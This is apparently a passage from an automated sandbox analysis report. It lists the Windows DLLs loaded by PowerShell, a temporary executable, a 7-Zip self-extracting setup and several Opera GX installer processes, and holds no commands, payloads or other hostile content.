      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: acgenral.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: samcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msacm32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msimg32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbgcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: schannel.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: ntasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: ncrypt.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: cryptnet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: webio.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: cabinet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: acgenral.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: samcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msacm32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msimg32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbgcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: acgenral.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: samcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: msacm32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: msimg32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: dbgcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: acgenral.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: samcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msacm32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msimg32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbgcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: acgenral.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: samcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msacm32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winmmbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msimg32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: dbgcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: dbgcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: dbgcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: version.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: msimg32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: secur32.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: dbghelp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: wininet.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: propsys.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: winmm.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: userenv.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: winhttp.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeSection loaded: sspicli.dll
